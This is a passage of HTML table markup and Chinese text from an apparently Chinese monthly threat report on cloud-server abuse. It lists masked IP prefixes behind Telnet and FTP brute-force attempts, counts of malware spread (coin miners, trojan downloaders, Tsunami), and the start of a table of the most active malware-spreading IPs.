<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">7,461</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">139.162. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">7,340</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:5;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">192.81. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">5,138</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:6;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US">167.99. *.*</span></b><b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;font-family:宋体;mso-bidi-font-family:宋体"><o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">5,123</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:7;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">143.198. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">4,633</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:8;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US">174.138. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" style="mso-yfti-cnfc:64"><span lang="EN-US">Telnet/TCP23,
TCP2323</span></p>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:accent3;
mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US">4,553</span></p>
</td>
</tr>
<tr style="mso-yfti-irow:9;mso-yfti-lastrow:yes;height:11.35pt">
<td width="129" nowrap="" style="width:96.6pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:4"><b><span lang="EN-US">137.184. *.*<o:p></o:p></span></b></p>
</div>
</td>
<td width="195" nowrap="" style="width:146.2pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<div>
<p class="MsoNormal"><span lang="EN-US">Telnet/TCP23, TCP2323</span></p>
</div>
</td>
<td width="58" nowrap="" style="width:43.8pt;border-top:none;border-left:none;
border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:accent3;
mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;mso-border-right-themecolor:
accent3;mso-border-right-themetint:153;mso-border-top-alt:solid #C9C9C9 .5pt;
mso-border-top-themecolor:accent3;mso-border-top-themetint:153;mso-border-left-alt:
solid #C9C9C9 .5pt;mso-border-left-themecolor:accent3;mso-border-left-themetint:
153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:accent3;
mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:11.35pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US">3,807</span></p>
</td>
</tr>
</tbody></table>
</div><!--kg-card-end: html--><p>此外，我们发现一个IP地址为<strong>47.92.*.*</strong>的云服务器在10月份发起了306次FTP爆破攻击。我们还发现该服务器上架设了一个网站，所有者是<strong>某市供排水总公司</strong>。我们对该案例进行了详细分析，具体内容请见第4节。</p><p>在传播木马病毒、僵尸网络等恶意程序方面，10月份我们共监测到<strong>3324个</strong>云计算IP地址传播了<strong>157种恶意软件约88.2万次</strong>。</p><p>云服务器攻击者最流行的恶意软件家族类型包括了木马下载器（TrojanDownloader）、恶意挖矿软件（CoinMiner）、Tsunami僵尸网络程序等。在整个10月份，有近3000个云服务器IP发起了近27万次会话以传播恶意挖矿软件。恶意挖矿软件已经成为当前云服务器恶意软件中最主要突出的问题。</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/11/10.PNG" class="kg-image" alt loading="lazy"></figure><p>下表是传播恶意软件最活跃的10个IP。</p><!--kg-card-begin: html--><div align="center">
<table class="MsoTable15Grid4Accent3" border="1" cellspacing="0" cellpadding="0" width="0" style="width:262.45pt;border-collapse:collapse;border:none;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
mso-yfti-tbllook:1184;mso-padding-alt:0cm 5.4pt 0cm 5.4pt">
<tbody><tr style="mso-yfti-irow:-1;mso-yfti-firstrow:yes;mso-yfti-lastfirstrow:yes;
height:9.9pt">
<td width="124" nowrap="" valign="top" style="width:93.3pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-right:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-left-alt:solid #A5A5A5 .5pt;
mso-border-left-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:5"><b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;
color:white;mso-themecolor:background1;mso-font-kerning:0pt">IP</span></b><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;mso-ascii-font-family:"Times New Roman";
mso-hansi-font-family:"Times New Roman";color:white;mso-themecolor:background1;
mso-font-kerning:0pt">地址</span></b><span lang="EN-US" style="mso-bidi-font-size:
12.0pt;color:white;mso-themecolor:background1;mso-font-kerning:0pt;
mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="95" nowrap="" valign="top" style="width:70.9pt;border-top:solid #A5A5A5 1.0pt;
mso-border-top-themecolor:accent3;border-left:none;border-bottom:solid #A5A5A5 1.0pt;
mso-border-bottom-themecolor:accent3;border-right:none;mso-border-top-alt:
solid #A5A5A5 .5pt;mso-border-top-themecolor:accent3;mso-border-bottom-alt:
solid #A5A5A5 .5pt;mso-border-bottom-themecolor:accent3;background:#A5A5A5;
mso-background-themecolor:accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">传播次数</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="top" style="width:98.25pt;border:solid #A5A5A5 1.0pt;
mso-border-themecolor:accent3;border-left:none;mso-border-top-alt:solid #A5A5A5 .5pt;
mso-border-top-themecolor:accent3;mso-border-bottom-alt:solid #A5A5A5 .5pt;
mso-border-bottom-themecolor:accent3;mso-border-right-alt:solid #A5A5A5 .5pt;
mso-border-right-themecolor:accent3;background:#A5A5A5;mso-background-themecolor:
accent3;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:1"><b><span style="mso-bidi-font-size:12.0pt;font-family:宋体;
mso-ascii-font-family:"Times New Roman";mso-hansi-font-family:"Times New Roman";
color:white;mso-themecolor:background1;mso-font-kerning:0pt">恶意软件家族</span></b><span lang="EN-US" style="mso-bidi-font-size:12.0pt;color:white;mso-themecolor:background1;
mso-font-kerning:0pt;mso-bidi-font-weight:bold"><o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:0;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-pagination:widow-orphan;
mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">152.136.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">22,986<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">5<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:1;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">81.70.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">18,495<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">4<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:2;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:68"><b><span lang="EN-US" style="color:black">101.35.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">13,444<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
background:#EDEDED;mso-background-themecolor:accent3;mso-background-themetint:
51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right;mso-yfti-cnfc:64"><span lang="EN-US" style="color:black">6<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:3;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="center" style="text-align:center;mso-yfti-cnfc:4"><b><span lang="EN-US" style="color:black">180.76.</span><span lang="EN-US"> *.*<span style="color:black"><o:p></o:p></span></span></b></p>
</td>
<td width="95" nowrap="" valign="bottom" style="width:70.9pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">12,336<o:p></o:p></span></p>
</td>
<td width="131" nowrap="" valign="bottom" style="width:98.25pt;border-top:none;
border-left:none;border-bottom:solid #C9C9C9 1.0pt;mso-border-bottom-themecolor:
accent3;mso-border-bottom-themetint:153;border-right:solid #C9C9C9 1.0pt;
mso-border-right-themecolor:accent3;mso-border-right-themetint:153;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-left-alt:solid #C9C9C9 .5pt;
mso-border-left-themecolor:accent3;mso-border-left-themetint:153;mso-border-alt:
solid #C9C9C9 .5pt;mso-border-themecolor:accent3;mso-border-themetint:153;
padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
<p class="MsoNormal" align="right" style="text-align:right"><span lang="EN-US" style="color:black">5<o:p></o:p></span></p>
</td>
</tr>
<tr style="mso-yfti-irow:4;height:9.9pt">
<td width="124" nowrap="" valign="bottom" style="width:93.3pt;border:solid #C9C9C9 1.0pt;
mso-border-themecolor:accent3;mso-border-themetint:153;border-top:none;
mso-border-top-alt:solid #C9C9C9 .5pt;mso-border-top-themecolor:accent3;
mso-border-top-themetint:153;mso-border-alt:solid #C9C9C9 .5pt;mso-border-themecolor:
accent3;mso-border-themetint:153;background:#EDEDED;mso-background-themecolor:
accent3;mso-background-themetint:51;padding:0cm 5.4pt 0cm 5.4pt;height:9.9pt">
